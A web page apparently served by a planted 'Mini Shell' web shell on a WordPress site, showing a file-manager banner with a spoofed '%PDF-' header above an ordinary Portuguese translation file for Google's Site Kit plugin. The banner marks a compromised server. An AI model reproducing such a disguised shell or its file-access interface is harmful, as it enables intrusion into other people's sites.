%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/projetos/prod.jornalshowdafe.com.br/wp-content/languages/plugins/
Upload File :
Create Path :
Current File : /var/www/projetos/prod.jornalshowdafe.com.br/wp-content/languages/plugins/google-site-kit-pt_BR.po

# Translation of Plugins - Site Kit by Google – Analytics, Search Console, AdSense, Speed - Stable (latest release) in Portuguese (Brazil)
# This file is distributed under the same license as the Plugins - Site Kit by Google – Analytics, Search Console, AdSense, Speed - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2024-03-01 11:40:01+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: GlotPress/4.0.0-beta.3\n"
"Language: pt_BR\n"
"Project-Id-Version: Plugins - Site Kit by Google – Analytics, Search Console, AdSense, Speed - Stable (latest release)\n"

#: includes/Modules/Analytics_4.php:418
msgid "Never synced"
msgstr "Nunca sincronizado"

#: includes/Modules/Analytics_4.php:417
msgid "AdSense Linked Last Synced At"
msgstr "AdSense vinculado pela última vez sincronizado em"

#: includes/Modules/Analytics_4.php:411
msgid "AdSense Linked"
msgstr "Vinculado ao AdSense"

#: includes/Modules/Analytics_4.php:370
msgid "Analytics 4 ads conversion ID"
msgstr "ID de conversão de anúncios do Analytics 4"

#: includes/Modules/Ads.php:49
msgid "https://google.com/ads"
msgstr "https://google.com/ads"

#: includes/Modules/Ads.php:47
msgid "Track conversions for your existing Google Ads campaigns."
msgstr "Acompanhe as conversões de suas campanhas existentes do Google Ads."

#: includes/Modules/Ads.php:46
msgctxt "Service name"
msgid "Ads"
msgstr "Anúncios"

#. translators: %s: Invalid property names
#: includes/Modules/Analytics_4.php:928
msgid "Invalid properties in audience: %s."
msgstr "Propriedades inválidas no público: %s."

#: includes/Modules/Analytics_4.php:507
msgid "You’ll need to grant Site Kit permission to create new audiences for your Analytics 4 property on your behalf."
msgstr "Você precisará conceder permissão ao Site Kit para criar novos públicos para sua propriedade do Analytics 4 em seu nome."

#: includes/Modules/AdSense.php:972
msgid "End Google AdSense meta tags added by Site Kit"
msgstr "Fim das metatags do Google AdSense adicionado pelo Site Kit"

#: includes/Modules/AdSense.php:968
msgid "Google AdSense meta tags added by Site Kit"
msgstr "Metatags do Google AdSense adicionado pelo Site Kit"

#: includes/Core/Site_Health/Tag_Placement.php:241
#: includes/Core/Site_Health/Tag_Placement.php:248
msgid "No tag detected."
msgstr "Nenhuma tag detectada."

#: includes/Core/Site_Health/Tag_Placement.php:234
msgid "Tag detected but could not verify that Site Kit placed the tag."
msgstr "Tag detectada, mas não foi possível verificar se o Site Kit colocou a tag."

#: includes/Core/Site_Health/Tag_Placement.php:227
msgid "Tag detected and placed by Site Kit."
msgstr "Tag detectada e colocada pelo Site Kit."

#: includes/Core/Site_Health/Tag_Placement.php:164
msgid "Tag placement disabled in settings."
msgstr "Posicionamento de tags desativado nas configurações."

#: includes/Core/Site_Health/Tag_Placement.php:147
msgid "Tags are not output in the current environment."
msgstr "As tags não são geradas no ambiente atual."

#: includes/Core/Site_Health/Tag_Placement.php:138
msgid "There was an error while trying to get the status, please try again later."
msgstr "Ocorreu um erro ao tentar obter o status. Tente novamente mais tarde."

#: includes/Core/Site_Health/Tag_Placement.php:126
msgid "Tag status not available: no modules that place tags are connected."
msgstr "Status do tag não disponível: nenhum módulo que coloca tags está conectado."

#: includes/Core/Site_Health/Tag_Placement.php:116
msgid "This feature requires WordPress version 5.6 or higher"
msgstr "Este recurso requer WordPress versão 5.6 ou superior"

#: includes/Core/Site_Health/Tag_Placement.php:73
#: includes/Core/Site_Health/Tag_Placement.php:81
#: includes/Core/Site_Health/Tag_Placement.php:103
msgid "Tag Placement"
msgstr "Posicionamento de tags"

#. translators: %s: translatable module name
#: includes/Core/Modules/Module_With_Tag_Trait.php:38
msgid "Google %s snippet added by Site Kit"
msgstr "Snippet %s do Google adicionado pelo Site Kit"

#. translators: %s: Invalid custom dimension slug
#: includes/Modules/Analytics_4.php:1262
msgid "Invalid custom dimension slug: %s."
msgstr "Slug de dimensão personalizada inválido: %s."

#: includes/Modules/Analytics_4.php:395
msgid "Analytics 4 available custom dimensions"
msgstr "Dimensões personalizadas disponíveis no Analytics 4"

#. translators: %s: Invalid scope
#: includes/Modules/Analytics_4.php:1213
msgid "Invalid scope: %s."
msgstr "Escopo inválido: %s."

#. translators: %s: Invalid property names
#: includes/Modules/Analytics_4.php:1197
msgid "Invalid properties in customDimension: %s."
msgstr "Propriedades inválidas em CustomDimension: %s."

#. translators: %s: Invalid property names
#: includes/Modules/Analytics_4.php:1140
msgid "Invalid properties in enhancedMeasurementSettings: %s."
msgstr "Propriedades inválidas em enhancedMeasurementSettings: %s."

#: includes/Modules/Analytics_4.php:487
msgid "You’ll need to grant Site Kit permission to update enhanced measurement settings for this Analytics 4 web data stream on your behalf."
msgstr "Você precisará conceder permissão para o Site Kit para atualizar as configurações aprimoradas de medição para este fluxo de dados do Analytics 4 em seu nome."

#: includes/Core/Key_Metrics/REST_Key_Metrics_Controller.php:128
msgid "Selected metrics cannot be empty."
msgstr "As métricas selecionadas não podem estar vazias."

#: includes/Modules/AdSense.php:1111
msgid "Not set up"
msgstr "Não configurado"

#: includes/Modules/AdSense.php:1109
msgid "Setup complete"
msgstr "Configuração concluída"

#: includes/Modules/AdSense.php:1107
msgid "Snippet is placed"
msgstr "O Snippet é colocado"

#: includes/Modules/AdSense.php:281
msgid "Ad Blocking Recovery setup status"
msgstr "Status de configuração da Recuperação de Bloqueio de Anúncios"

#: includes/Modules/AdSense.php:273
msgid "Ad Blocking Recovery error protection snippet placed"
msgstr "Snippet de proteção contra erros da Recuperação de Bloqueio de Anúncios colocado"

#: includes/Modules/AdSense.php:265
msgid "Ad Blocking Recovery snippet placed"
msgstr "Snippet da Recuperação de Bloqueio de Anúncios colocado"

#: includes/Modules/AdSense.php:261
msgid "Not available"
msgstr "Não disponível"

#: includes/Modules/AdSense.php:257
msgid "AdSense setup completed at"
msgstr "Configuração do AdSense concluída em"

#: includes/Modules/AdSense/Ad_Blocking_Recovery_Web_Tag.php:92
msgid "End Google AdSense Ad Blocking Recovery Error Protection snippet added by Site Kit"
msgstr "Snippet final de Proteção contra o Erro de Recuperação do Bloqueio de Anúncios do Google AdSense adicionado pelo Site Kite"

#: includes/Modules/AdSense/Ad_Blocking_Recovery_Web_Tag.php:90
msgid "Google AdSense Ad Blocking Recovery Error Protection snippet added by Site Kit"
msgstr "Snippet de Proteção contra Erros de Recuperação de Anúncios do Google AdSense adicionado pelo Site Kit"

#: includes/Modules/AdSense/Ad_Blocking_Recovery_Web_Tag.php:88
msgid "End Google AdSense Ad Blocking Recovery snippet added by Site Kit"
msgstr "Snippet final de Recuperação de Bloqueio de Anúncios do Google AdSense adicionado pelo Site Kit"

#: includes/Modules/AdSense/Ad_Blocking_Recovery_Web_Tag.php:86
msgid "Google AdSense Ad Blocking Recovery snippet added by Site Kit"
msgstr "Snippet de Recuperação de Bloqueio de Anúncios do Google AdSense adicionado pelo Site Kit"

#: includes/Core/Admin/Screens.php:477
#: dist/assets/js/googlesitekit-ad-blocking-recovery-db621265e6e503dc9d1f.js:31
#: dist/assets/js/googlesitekit-modules-adsense-ff18492ca1795e4f72fc.js:64
msgid "Ad Blocking Recovery"
msgstr "Recuperação do bloqueio de anúncios"

#. translators: 1: the regular expression for a valid name, 2: the invalid
#. metric.
#: includes/Modules/Analytics_4/Report/Request.php:188
msgid "Metric name should match the expression %1$s: %2$s"
msgstr "O nome da métrica deve coincidir com a expressão %1$s: %2$s"

#. translators: 1: the regular expression for a valid name, 2: a comma
#. separated list of the invalid metrics.
#: includes/Modules/Analytics_4/Report/Request.php:176
msgid "Metric names should match the expression %1$s: %2$s"
msgstr "Os nomes da métrica devem coincidir com a expressão %1$s: %2$s"

#: includes/Core/Modules/REST_Modules_Controller.php:520
msgid "Module does not support setting data available state."
msgstr "O módulo não tem suporte à definição do estado de dados disponíveis."

#: includes/Modules/Analytics_4.php:885 includes/Modules/Analytics_4.php:901
#: includes/Modules/Analytics_4.php:1047 includes/Modules/Analytics_4.php:1238
#: includes/Modules/Analytics_4.php:1370
msgid "No connected Google Analytics 4 property ID."
msgstr "Nenhum ID de propriedade do Google Analytics 4 conectado."

#: includes/Core/Key_Metrics/REST_Key_Metrics_Controller.php:139
msgid "No more than 4 key metrics can be selected."
msgstr "Não é possível selecionar mais do que 4 métricas principais."

#: includes/Core/Modules/REST_Modules_Controller.php:161
msgid "Whether the module is recoverable."
msgstr "Se o módulo pode ser recuperado."

#: includes/Core/Modules/REST_Modules_Controller.php:157
msgid "Whether the module is shareable."
msgstr "Se o módulo pode ser compartilhado."

#: includes/Modules/Analytics_4.php:1528
msgctxt "Service name"
msgid "Analytics 4"
msgstr "Analytics 4"

#. translators: %s: is replaced with a comma separated list of the invalid
#. dimensions.
#: includes/Modules/AdSense.php:1074 includes/Modules/Analytics.php:1322
#: includes/Modules/Analytics_4/Report/Request.php:307
msgid "Unsupported dimensions requested: %s"
msgstr "Dimensões solicitadas sem suporte: %s"

#. translators: %s: is replaced with a comma separated list of the invalid
#. metrics.
#: includes/Modules/AdSense.php:1030 includes/Modules/Analytics.php:1264
#: includes/Modules/Analytics_4/Report/Request.php:243
msgid "Unsupported metrics requested: %s"
msgstr "Métricas não suportadas solicitadas: %s"

#: includes/Core/Modules/REST_Modules_Controller.php:623
msgid "Request parameter slugs is not valid."
msgstr "Os slugs do parâmetro de solicitação não são válidos."

#: includes/Plugin.php:75
msgid "The Site Kit by Google plugin does <strong>not yet offer</strong> a network mode, but we&#8217;re actively working on that."
msgstr "O plug-in Site Kit do Google <strong>ainda não oferece</strong> um modo de rede, mas estamos trabalhando ativamente nisso."

#: includes/Core/Util/BC_Functions.php:144
msgid "Inactive widgets"
msgstr "Widgets inativos"

#: includes/Core/Modules/REST_Modules_Controller.php:552
#: includes/Core/Modules/REST_Modules_Controller.php:574
msgid "Module must be active to request data."
msgstr "O módulo deve estar ativo para solicitar dados."

#. translators: 1: Admin splash URL. 2: Support link URL.
#: includes/Core/Authentication/Authentication.php:1393
msgid "<a href=\"%1$s\">Please try again</a>. Retry didn’t work? <a href=\"%2$s\" target=\"_blank\">Get help</a>."
msgstr "<a href=\"%1$s\">Por favor, tente novamente</a>. Tentar novamente não funcionou? <a href=\"%2$s\" target=\"_blank\">Obter ajuda</a>."

#. translators: %s: version number
#: google-site-kit.php:57
msgid "Site Kit requires WordPress version %s or higher"
msgstr "O Site Kit requer a versão do WordPress %s ou superior"

#. translators: %s: version number
#: google-site-kit.php:49
msgid "Site Kit requires PHP version %s or higher"
msgstr "O Site Kit requer a versão PHP %s ou superior"

#: includes/Core/Dashboard_Sharing/View_Only_Pointer.php:54
msgid "Check Site Kit’s dashboard to find out how much traffic your site is getting, your most popular pages, top keywords people use to find your site on Search, and more."
msgstr "Consulte o painel do Site Kit para descobrir quanto tráfego seu site está gerando, as páginas mais visitadas, as principais palavras-chave usadas para encontrar seu site na Pesquisa e muito mais."

#: includes/Core/Dashboard_Sharing/View_Only_Pointer.php:53
msgid "You now have access to Site Kit"
msgstr "Agora você tem acesso ao Site Kit"

#. translators: %s: is replaced with the invalid dimension.
#: includes/Modules/AdSense.php:1085 includes/Modules/Analytics.php:1333
#: includes/Modules/Analytics_4/Report/Request.php:318
msgid "Unsupported dimension requested: %s"
msgstr "Dimensão sem suporte solicitada: %s"

#. translators: %s: is replaced with the invalid metric.
#: includes/Modules/AdSense.php:1041 includes/Modules/Analytics.php:1275
#: includes/Modules/Analytics_4/Report/Request.php:254
msgid "Unsupported metric requested: %s"
msgstr "Métrica sem suporte solicitada: %s"

#. translators: 1: Support link URL. 2: Get help string.
#: includes/Core/Authentication/Setup.php:139
msgid "<a href=\"%1$s\" target=\"_blank\">%2$s</a>"
msgstr "<a href=\"%1$s\" target=\"_blank\">%2$s</a>"

#. translators: 1: Plugin name. 2: URL change message. 3: Proxy setup URL. 4:
#. Reconnect string. 5: Proxy support link for the url-has-changed help page.
#. 6: Help link message.
#: includes/Core/Authentication/Authentication.php:1154
msgid "%1$s: %2$s <a href=\"%3$s\">%4$s</a>. <a target=\"_blank\" href=\"%5$s\">%6$s</a>"
msgstr "%1$s: %2$s <a href=\"%3$s\">%4$s</a>. <a target=\"_blank\" href=\"%5$s\">%6$s</a>"

#: includes/Core/Authentication/Authentication.php:1160
#: includes/Core/Authentication/Setup.php:141
#: dist/assets/js/googlesitekit-ad-blocking-recovery-db621265e6e503dc9d1f.js:15
#: dist/assets/js/googlesitekit-ad-blocking-recovery-db621265e6e503dc9d1f.js:25
#: dist/assets/js/googlesitekit-adminbar-203f7272cce987bdf4b6.js:19
#: dist/assets/js/googlesitekit-entity-dashboard-003589925de57cf94538.js:40
#: dist/assets/js/googlesitekit-entity-dashboard-003589925de57cf94538.js:54
#: dist/assets/js/googlesitekit-main-dashboard-b499d0b08a8b21923e55.js:38
#: dist/assets/js/googlesitekit-main-dashboard-b499d0b08a8b21923e55.js:52
#: dist/assets/js/googlesitekit-modules-adsense-ff18492ca1795e4f72fc.js:30
#: dist/assets/js/googlesitekit-modules-adsense-ff18492ca1795e4f72fc.js:40
#: dist/assets/js/googlesitekit-modules-adsense-ff18492ca1795e4f72fc.js:52
#: dist/assets/js/googlesitekit-modules-adsense-ff18492ca1795e4f72fc.js:54
#: dist/assets/js/googlesitekit-modules-analytics-4-588f94e43579e8960d74.js:26
#: dist/assets/js/googlesitekit-modules-analytics-4-588f94e43579e8960d74.js:38
#: dist/assets/js/googlesitekit-modules-analytics-1558931a4a3a3b264e56.js:38
#: dist/assets/js/googlesitekit-modules-pagespeed-insights-1c74f590552e4456c31c.js:1
#: dist/assets/js/googlesitekit-modules-search-console-2c52396694c81ff00e71.js:7
#: dist/assets/js/googlesitekit-modules-search-console-2c52396694c81ff00e71.js:21
#: dist/assets/js/googlesitekit-settings-434d302fecbb58106ce3.js:11
#: dist/assets/js/googlesitekit-splash-f83df078629d1fa4e122.js:11
#: dist/assets/js/googlesitekit-splash-f83df078629d1fa4e122.js:19
#: dist/assets/js/googlesitekit-splash-f83df078629d1fa4e122.js:38
#: dist/assets/js/googlesitekit-user-input-01dd9b71312af0b9c4c4.js:11
#: dist/assets/js/googlesitekit-widgets-84bbc9dc93a061d12235.js:15
#: dist/assets/js/googlesitekit-widgets-84bbc9dc93a061d12235.js:25
#: dist/assets/js/googlesitekit-wp-dashboard-9f103fc044928f8a764e.js:19
msgid "Get help"
msgstr "Ajuda"

#: includes/Core/Site_Health/Debug_Data.php:487
msgid "Owner"
msgstr "Proprietário"

#: includes/Core/Site_Health/Debug_Data.php:482
#: dist/assets/js/googlesitekit-entity-dashboard-003589925de57cf94538.js:64
#: dist/assets/js/googlesitekit-main-dashboard-b499d0b08a8b21923e55.js:62
msgid "Any admin signed in with Google"
msgstr "Qualquer administrador que tenha feito login com o Google"

#. translators: %s: module name
#: includes/Core/Site_Health/Debug_Data.php:424
msgid "%s Management"
msgstr "Gerenciamento de %s"

#. translators: %s: module name
#: includes/Core/Site_Health/Debug_Data.php:416
msgid "%s Shared Roles"
msgstr "Funções compartilhadas de %s"

#: includes/Core/Site_Health/Debug_Data.php:389
msgid "Recoverable Modules"
msgstr "Módulos recuperáveis"

#: includes/Core/Modules/REST_Modules_Controller.php:360
msgid "Module access cannot be checked."
msgstr "Não foi possível verificar o acesso ao módulo."

#. translators: 1: Error message or error code. 2: Get help link.
#: includes/Core/Authentication/Setup.php:182
msgid "The request to the authentication proxy has failed with an error: %1$s %2$s."
msgstr "A solicitação ao proxy de autenticação falhou com um erro: %1$s %2$s."

#. translators: 1: Plugin name. 2: Message.
#. translators: 1: Module name, 2: Error message
#: includes/Core/Authentication/Authentication.php:1211
#: dist/assets/js/googlesitekit-main-dashboard-b499d0b08a8b21923e55.js:82
msgid "%1$s: %2$s"
msgstr "%1$s: %2$s"

#: includes/Core/Modules/REST_Modules_Controller.php:701
msgid "Module is not accessible by current user."
msgstr "O módulo não pode ser acessado pelo usuário atual."

#: includes/Core/Modules/REST_Modules_Controller.php:668
msgid "Module is not recoverable."
msgstr "O módulo não é recuperável."

#: includes/Core/Modules/REST_Modules_Controller.php:655
msgid "Module is not shareable."
msgstr "O módulo não pode ser compartilhado."

#: includes/Core/Modules/REST_Modules_Controller.php:348
#: includes/Core/Modules/REST_Modules_Controller.php:516
#: includes/Modules/AdSense.php:481
msgid "Module is not connected."
msgstr "O módulo não está conectado."

#. translators: %s: The module name
#: includes/Core/Admin/Screens.php:389
msgid "The %s module cannot be set up as it has not been activated yet."
msgstr "O módulo %s não pode ser configurado porque ainda não foi ativado."

#: includes/Modules/AdSense.php:243
msgid "AdSense site status"
msgstr "Status do site do AdSense"

#. translators: %s: Get help link.
#: includes/Core/Authentication/Setup.php:201
msgid "The request to the authentication proxy has failed. Please, try again later. %s."
msgstr "A solicitação ao proxy de autenticação falhou. Por favor, tente novamente mais tarde. %s."

#: includes/Core/Authentication/Google_Proxy.php:471
msgid "Failed to retrieve redirect URL."
msgstr "Falha ao recuperar URL de redirecionamento."

#: includes/Core/Authentication/Google_Proxy.php:139
msgid "Missing site_id or site_code parameter for setup URL."
msgstr "Parâmetro site_id ou site_code ausente para o URL de configuração."

#: includes/Core/Authentication/Google_Proxy.php:136
msgid "Missing code parameter for setup URL."
msgstr "Parâmetro de código ausente para o URL de configuração."

#: includes/Modules/PageSpeed_Insights.php:182
msgid "https://pagespeed.web.dev"
msgstr "https://pagespeed.web.dev"

#: includes/Core/Authentication/Setup.php:249
msgid "Verifying site ownership requires a token and verification method."
msgstr "A verificação da propriedade do site requer um token e um método de verificação."

#: includes/Core/Authentication/Setup.php:245
#: includes/Core/Authentication/Setup.php:302
msgid "Invalid request."
msgstr "Pedido inválido."

#. translators: %s: Current URL
#: includes/Core/Authentication/Authentication.php:1175
msgid "New URL: %s"
msgstr "Nova URL: %s"

#. translators: %s: Previous URL
#: includes/Core/Authentication/Authentication.php:1170
msgid "Old URL: %s"
msgstr "Antiga URL: %s"

#: includes/Core/Authentication/Authentication.php:1389
msgid "The link you followed has expired."
msgstr "O link que você seguiu expirou."

#: includes/Modules/Tag_Manager/Web_Tag.php:100
msgid "End Google Tag Manager (noscript) snippet added by Site Kit"
msgstr "Finalizar o snippet do Gerenciador de Tags do Google (noscript) adicionado pelo Site Kit"

#: includes/Modules/Tag_Manager/Web_Tag.php:96
msgid "Google Tag Manager (noscript) snippet added by Site Kit"
msgstr "Snippet do Google Tag Manager (noscript) adicionado pelo Site Kit"

#: includes/Modules/Tag_Manager/Web_Tag.php:79
msgid "End Google Tag Manager snippet added by Site Kit"
msgstr "Finalizar o snippet do Gerenciador de Tags do Google adicionado pelo Site Kit"

#: includes/Modules/Tag_Manager/Web_Tag.php:77
msgid "Google Tag Manager snippet added by Site Kit"
msgstr "Snippet do Gerenciador de Tags do Google adicionado pelo Site Kit"

#: includes/Modules/Tag_Manager/AMP_Tag.php:75
msgid "End Google Tag Manager AMP snippet added by Site Kit"
msgstr "Finalizar o snippet para AMP do Gerenciador de Tags do Google adicionado pelo Site Kit"

#: includes/Modules/Tag_Manager/AMP_Tag.php:66
msgid "Google Tag Manager AMP snippet added by Site Kit"
msgstr "Snippet para AMP do Gerenciador de Tags do Google adicionado pelo Site Kit"

#: includes/Modules/Analytics/Web_Tag.php:160
#: includes/Modules/Analytics_4/Web_Tag.php:159
msgid "End Google Analytics snippet added by Site Kit"
msgstr "Finalizar o snippet do Google Analytics adicionado pelo Site Kit"

#: includes/Modules/Analytics/Web_Tag.php:159
#: includes/Modules/Analytics_4/Web_Tag.php:158
msgid "Google Analytics snippet added by Site Kit"
msgstr "Snippet do Google Analytics adicionado pelo Site Kit"

#: includes/Modules/Analytics/AMP_Tag.php:154
#: includes/Modules/Analytics_4/AMP_Tag.php:161
msgid "End Google Analytics AMP snippet added by Site Kit"
msgstr "Finalizar o snippet para AMP do Google Analytics adicionado pelo Site Kit"

#: includes/Modules/Analytics/AMP_Tag.php:146
#: includes/Modules/Analytics_4/AMP_Tag.php:153
msgid "Google Analytics AMP snippet added by Site Kit"
msgstr "Snippet para AMP do Google Analytics adicionado pelo Site Kit"

#: includes/Modules/Analytics_4.php:625
msgid "End Google Analytics opt-out snippet added by Site Kit"
msgstr "Finalizar o snippet de desativação do Google Analytics adicionado pelo Site Kit"

#: includes/Modules/Analytics_4.php:616
msgid "Google Analytics opt-out snippet added by Site Kit"
msgstr "Snippet de desativação do Google Analytics adicionado pelo Site Kit"

#: includes/Modules/Analytics_4.php:614
msgid "End Google Analytics AMP opt-out snippet added by Site Kit"
msgstr "Finalizar o snippet de desativação para AMP do Google Analytics adicionado pelo Site Kit"

#: includes/Modules/Analytics_4.php:612
msgid "Google Analytics AMP opt-out snippet added by Site Kit"
msgstr "Snippet de desativação do Google Analytics adicionado pelo Site Kit"

#: includes/Modules/AdSense/Web_Tag.php:96
msgid "End Google AdSense snippet added by Site Kit"
msgstr "Finalizar o snippet do Google Adsense adicionado pelo Site Kit"

#: includes/Modules/AdSense/Web_Tag.php:94
msgid "Google AdSense snippet added by Site Kit"
msgstr "Snippet do Google Adsense adicionado pelo Site Kit"

#: includes/Modules/AdSense/AMP_Tag.php:123
#: includes/Modules/AdSense/AMP_Tag.php:143
#: includes/Modules/AdSense/AMP_Tag.php:188
msgid "End Google AdSense AMP snippet added by Site Kit"
msgstr "Finalizar o snippet para AMP do Google Adsense adicionado pelo Site Kit"

#: includes/Modules/AdSense/AMP_Tag.php:115
#: includes/Modules/AdSense/AMP_Tag.php:142
#: includes/Modules/AdSense/AMP_Tag.php:184
msgid "Google AdSense AMP snippet added by Site Kit"
msgstr "Snippet para AMP do Google Adsense adicionado pelo Site Kit"

#: includes/Modules/Analytics_4.php:473
msgid "You’ll need to grant Site Kit permission to create a new Analytics 4 web data stream for this site on your behalf."
msgstr "Você precisará permitir que o Site Kit crie um novo ID de métricas do Analytics 4 para este site em seu nome."

#: includes/Core/Site_Health/Debug_Data.php:328
msgid "Verified outside of Site Kit"
msgstr "Verificado fora do Site Kit"

#: includes/Core/Site_Health/Debug_Data.php:321
msgid "Verified through meta tag"
msgstr "Verificado por metatag"

#: includes/Core/Site_Health/Debug_Data.php:313
msgid "Verified through file"
msgstr "Verificado por arquivo"

#: includes/Core/Site_Health/Debug_Data.php:305
msgid "Not verified"
msgstr "Não verificado"

#: includes/Core/Site_Health/Debug_Data.php:296
msgid "Verification Status"
msgstr "Status de verificação"

#. translators: %s: module name
#: includes/Core/Modules/Module.php:427
msgid "Site Kit can’t access the relevant data from %s because you haven’t granted all permissions requested during setup."
msgstr "O Site Kit não pode acessar os dados relevantes de %s porque você não concedeu todas as permissões durante a configuração."

#. translators: %s: List of invalid parameters.
#: includes/Modules/Analytics_4.php:1301
msgid "Invalid parameter(s): %s"
msgstr "Parâmetro(s) inválido(s): %s"

#: includes/Core/Admin/Available_Tools.php:50
msgid "Resetting will disconnect all users and remove all Site Kit settings and data within WordPress. You and any other users who wish to use Site Kit will need to reconnect to restore access."
msgstr "A redefinição desconectará todos os usuários e removerá todos os dados e configurações do Site Kit que estão no WordPress. Você e os outros usuários que quiserem usar o Site Kit precisarão se reconectar para restaurar o acesso."

#: includes/Modules/Analytics_4.php:492
msgid "You’ll need to grant Site Kit permission to create a new Analytics 4 custom dimension on your behalf."
msgstr "Você precisará conceder permissão ao Site Kit para criar uma nova dimensão personalizada do Analytics 4 em seu nome."

#: includes/Modules/Analytics_4.php:468
msgid "You’ll need to grant Site Kit permission to create a new Analytics 4 property on your behalf."
msgstr "Você precisará conceder permissão ao Site Kit para criar uma nova propriedade do Analytics 4 em seu nome."

#: includes/Modules/Analytics_4.php:390
msgid "Analytics 4 snippet placed"
msgstr "Snippet do Analytics 4 posicionado"

#: includes/Modules/Analytics_4.php:385
msgid "Analytics 4 measurement ID"
msgstr "ID de métricas do Analytics 4"

#: includes/Modules/Analytics_4.php:380
msgid "Analytics 4 web data stream ID"
msgstr "ID do fluxo de dados da Web do Analytics 4"

#: includes/Modules/Analytics_4.php:375
msgid "Analytics 4 property ID"
msgstr "ID de propriedade do Analytics 4"

#: includes/Modules/Analytics_4.php:365
msgid "Analytics 4 account ID"
msgstr "ID da conta do Google Analytics 4"

#: includes/Core/Authentication/Google_Proxy.php:286
msgid "Failed to parse response."
msgstr "Não foi possível analisar a resposta."

#: includes/Core/Authentication/Google_Proxy.php:241
#: includes/Core/Authentication/Google_Proxy.php:507
msgid "OAuth credentials haven't been found."
msgstr "Não foram encontradas credenciais de OAuth."

#: includes/Modules/AdSense.php:252
msgid "Web Stories Ad Unit ID"
msgstr "ID do bloco de anúncios das Web Stories"

#: includes/Core/Site_Health/Debug_Data.php:577
msgid "Features"
msgstr "Recursos"

#: includes/Core/Admin/Plugin_Row_Meta.php:51
msgid "Support"
msgstr "Suporte"

#: includes/Core/Admin/Plugin_Row_Meta.php:50
msgid "Rate Site Kit"
msgstr "Classificar o Site Kit"

#: includes/Core/Site_Health/Debug_Data.php:530
msgid "User Capabilities"
msgstr "Recursos de usuário"

#: includes/Core/Modules/Datapoint.php:122
msgid "You’ll need to grant Site Kit permission to do this."
msgstr "É necessário conceder permissão ao Site Kit para fazer isso."

#: includes/Core/User_Input/REST_User_Input_Controller.php:145
msgid "Missing settings data."
msgstr "Dados de configuração ausentes."

#: includes/Core/Authentication/Authentication.php:1397
msgid "Something went wrong."
msgstr "Algo deu errado."

#: includes/Core/Authentication/Authentication.php:1336
msgid "You have insufficient permissions to manage Site Kit permissions."
msgstr "Você não tem permissões suficientes para gerenciar as permissões do Site Kit."

#: includes/Core/Admin/Screens.php:468
msgid "User Input"
msgstr "Entrada do usuário"

#: includes/Core/Authentication/Authentication.php:1340
#: includes/Core/Authentication/Setup.php:161
msgid "Site Kit is not configured to use the authentication proxy."
msgstr "O Site Kit não está configurado para usar o proxy de autenticação."

#: includes/Core/Authentication/Setup.php:157
msgid "You have insufficient permissions to connect Site Kit."
msgstr "Você não tem permissões suficientes para conectar o Site Kit."

#: includes/Core/Authentication/Authentication.php:1158
msgid "Reconnect"
msgstr "Reconectar"

#: includes/Core/Authentication/Authentication.php:1156
#: dist/assets/js/googlesitekit-splash-f83df078629d1fa4e122.js:36
msgid "Looks like the URL of your site has changed. In order to continue using Site Kit, you’ll need to reconnect, so that your plugin settings are updated with the new URL."
msgstr "Parece que o URL do seu site mudou. Para continuar usando o Site Kit, você precisará se reconectar para atualizar as configurações do plug-in com o novo URL."

#: includes/Modules/Site_Verification.php:356
msgctxt "Service name"
msgid "Site Verification"
msgstr "Verificação do Site"

#: includes/Modules/Analytics.php:594
#: dist/assets/js/googlesitekit-modules-adsense-ff18492ca1795e4f72fc.js:48
#: dist/assets/js/googlesitekit-modules-analytics-4-588f94e43579e8960d74.js:26
#: dist/assets/js/googlesitekit-modules-analytics-1558931a4a3a3b264e56.js:38
#: dist/assets/js/googlesitekit-wp-dashboard-9f103fc044928f8a764e.js:27
msgctxt "default Analytics view name"
msgid "All Web Site Data"
msgstr "Todos os dados do Web site"

#: includes/Core/Site_Health/Debug_Data.php:352
msgid "Connected user count"
msgstr "Quantidade de usuário conectados"

#: includes/Core/Modules/REST_Modules_Controller.php:173
msgid "Owner login."
msgstr "Login do proprietário."

#: includes/Core/Modules/REST_Modules_Controller.php:168
msgid "Owner ID."
msgstr "Id do proprietário."

#. translators: 1: Title prefix. 2: Title.
#: includes/Core/Util/Entity_Factory.php:498
msgctxt "archive title"
msgid "%1$s %2$s"
msgstr "%1$s %2$s"

#: includes/Core/Util/Entity_Factory.php:408
msgctxt "daily archives date format"
msgid "F j, Y"
msgstr "j \\d\\e F \\d\\e Y"

#: includes/Core/Util/Entity_Factory.php:407
msgctxt "date archive title prefix"
msgid "Day:"
msgstr "Dia:"

#: includes/Core/Util/Entity_Factory.php:401
msgctxt "monthly archives date format"
msgid "F Y"
msgstr "F Y"

#: includes/Core/Util/Entity_Factory.php:400
msgctxt "date archive title prefix"
msgid "Month:"
msgstr "Mês:"

#: includes/Core/Util/Entity_Factory.php:395
msgctxt "yearly archives date format"
msgid "Y"
msgstr "Y"

#: includes/Core/Util/Entity_Factory.php:394
msgctxt "date archive title prefix"
msgid "Year:"
msgstr "Ano:"

#: includes/Core/Util/Entity_Factory.php:366
msgctxt "post type archive title prefix"
msgid "Archives:"
msgstr "Arquivos:"

#: includes/Core/Util/Entity_Factory.php:341
msgctxt "author archive title prefix"
msgid "Author:"
msgstr "Autor:"

#. translators: %s: Taxonomy singular name.
#: includes/Core/Util/Entity_Factory.php:313
msgctxt "taxonomy term archive title prefix"
msgid "%s:"
msgstr "%s:"

#: includes/Core/Util/Entity_Factory.php:304
msgctxt "post format archive title"
msgid "Chats"
msgstr "Chats"

#: includes/Core/Util/Entity_Factory.php:301
msgctxt "post format archive title"
msgid "Audio"
msgstr "Áudio"

#: includes/Core/Util/Entity_Factory.php:298
msgctxt "post format archive title"
msgid "Statuses"
msgstr "Status"

#: includes/Core/Util/Entity_Factory.php:295
msgctxt "post format archive title"
msgid "Links"
msgstr "Links"

#: includes/Core/Util/Entity_Factory.php:292
msgctxt "post format archive title"
msgid "Quotes"
msgstr "Citações"

#: includes/Core/Util/Entity_Factory.php:289
msgctxt "post format archive title"
msgid "Videos"
msgstr "Vídeos"

#: includes/Core/Util/Entity_Factory.php:286
msgctxt "post format archive title"
msgid "Images"
msgstr "Imagens"

#: includes/Core/Util/Entity_Factory.php:283
msgctxt "post format archive title"
msgid "Galleries"
msgstr "Galerias"

#: includes/Core/Util/Entity_Factory.php:280
msgctxt "post format archive title"
msgid "Asides"
